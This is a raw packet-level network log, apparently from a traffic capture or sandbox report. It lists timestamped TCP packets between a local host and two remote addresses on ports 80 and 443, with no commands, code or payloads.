Dec 23, 2024 08:40:09.506510019 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.506596088 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.506643057 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.506942034 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.507059097 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.507143021 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.507270098 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.507345915 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.508224010 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.508284092 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.508322001 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.509277105 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.509375095 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.509434938 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.510309935 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.510579109 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.510687113 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.511353016 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.511475086 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.511538982 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.512413979 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.512531042 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.512708902 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.513495922 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.513616085 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.513663054 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.514523983 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.514635086 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.514810085 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.515587091 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.515815020 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.515861034 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.516618967 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.516710997 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.517225027 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.517735958 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.517815113 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.517951965 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.518796921 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.518912077 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.519076109 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.519762993 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.519916058 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.519998074 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.520821095 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.520987034 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.521215916 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.521864891 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.522007942 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.522269964 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.522914886 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.523041964 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.523118973 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.523974895 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.524152994 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.524203062 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.525021076 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.525141954 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.525202990 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.526066065 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.526134968 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.526191950 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.527153015 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.527230024 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.527332067 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.528183937 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.528297901 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.528486967 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.529292107 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.529377937 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.529449940 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.530332088 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.530342102 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.530390024 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.531337023 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.531495094 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.531610966 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.532392979 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.532438993 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.532541990 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.533447981 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.533615112 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.533941984 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.534493923 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.534606934 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.534645081 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.535557985 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.535686970 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.535784006 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.536601067 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.536708117 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.536768913 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.537662029 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.537764072 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.538036108 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.538701057 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.538815022 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.538861990 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.539783955 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.539910078 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.539961100 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.540824890 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.540910959 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.540983915 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.541896105 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.542011023 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.542051077 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.542989969 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.543191910 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.543246031 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.543983936 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.544075012 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.544132948 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.545025110 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.545178890 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.545494080 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.546107054 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.546194077 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.546240091 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.547171116 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.547278881 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.548155069 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.548183918 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.548285007 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.548372030 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.549242973 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.549340010 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.549509048 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.550314903 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.550421953 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.550533056 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.551367998 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.551451921 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.551505089 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.552403927 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.552498102 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.552535057 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.553472042 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.553561926 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.553601980 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.554552078 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.554614067 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.554680109 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.579762936 CET	49793	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.638623953 CET	443	49798	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.638734102 CET	443	49797	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.639017105 CET	49798	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.639039040 CET	443	49798	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.639132977 CET	49797	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.639148951 CET	443	49797	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.639714003 CET	443	49799	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.639960051 CET	49799	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.639967918 CET	443	49799	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.640100956 CET	443	49798	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.640150070 CET	49798	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.640274048 CET	443	49797	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.640320063 CET	49797	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.641015053 CET	443	49799	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.641072035 CET	49799	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.641719103 CET	49798	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.641788960 CET	443	49798	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.641807079 CET	49797	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.641860008 CET	49799	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.641911983 CET	443	49797	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.641922951 CET	443	49799	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.642401934 CET	443	49796	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.642627001 CET	49796	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.642638922 CET	443	49796	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.643105030 CET	443	49796	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.643556118 CET	49796	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.643631935 CET	443	49796	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.678095102 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.678159952 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.678307056 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.678441048 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.678571939 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.678613901 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.679522038 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.679877996 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.679922104 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.679924965 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.680943012 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.681061983 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.681166887 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.682001114 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.682085991 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.682090044 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.683032036 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.683120966 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.683157921 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.684092045 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.684149027 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.698590994 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.698646069 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.698787928 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.698987961 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.699239016 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.699302912 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.699342012 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.700283051 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.700324059 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.700433969 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.701380968 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.701476097 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.701524973 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.702406883 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.702461004 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.702512980 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.703469992 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.703548908 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.703624010 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.704507113 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.704546928 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.704633951 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.705523968 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.705638885 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.705775976 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.706661940 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.706721067 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.706743956 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.707709074 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.707742929 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.707803011 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.708724022 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.708790064 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.708797932 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.709774017 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.709847927 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.709909916 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.710843086 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.710894108 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.710913897 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.711860895 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.711991072 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.712055922 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.712898016 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.712954998 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.712996960 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.713964939 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.714040995 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.714080095 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.715066910 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.715109110 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.715123892 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.716079950 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.716149092 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.716192007 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.717132092 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.717171907 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.717261076 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.718192101 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.718256950 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.718272924 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.719222069 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.719310045 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.719347000 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.720276117 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.720351934 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.720406055 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.721334934 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.721390963 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.721400023 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.722371101 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.722421885 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.722466946 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.723395109 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.723478079 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.723496914 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.724487066 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.724530935 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.724562883 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.725537062 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.725594044 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.725650072 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.726584911 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.726691008 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.726754904 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.727674007 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.727730036 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.727804899 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.728674889 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.728718996 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.728799105 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.729790926 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.729840994 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.729887962 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.730815887 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.730865955 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.730910063 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.731873035 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.731976986 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.732027054 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.732961893 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.732992887 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.733012915 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.733978033 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.734016895 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.734067917 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.735032082 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.735110998 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.735133886 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.736077070 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.736119032 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.736177921 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.737122059 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.737185001 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.737231970 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.738162994 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.738248110 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.738270998 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.739248037 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.739331961 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.739375114 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.740283012 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.740355968 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.740380049 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.741345882 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.741424084 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.741442919 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.742451906 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.742502928 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.742543936 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.743427038 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.743469000 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.743566990 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.744551897 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.744632006 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.744636059 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.745553970 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.745592117 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.745642900 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.746608973 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.746687889 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.746740103 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.747657061 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.747714043 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.747756958 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.748727083 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.748811007 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.748827934 CET	49780	80	192.168.2.9	139.99.188.124
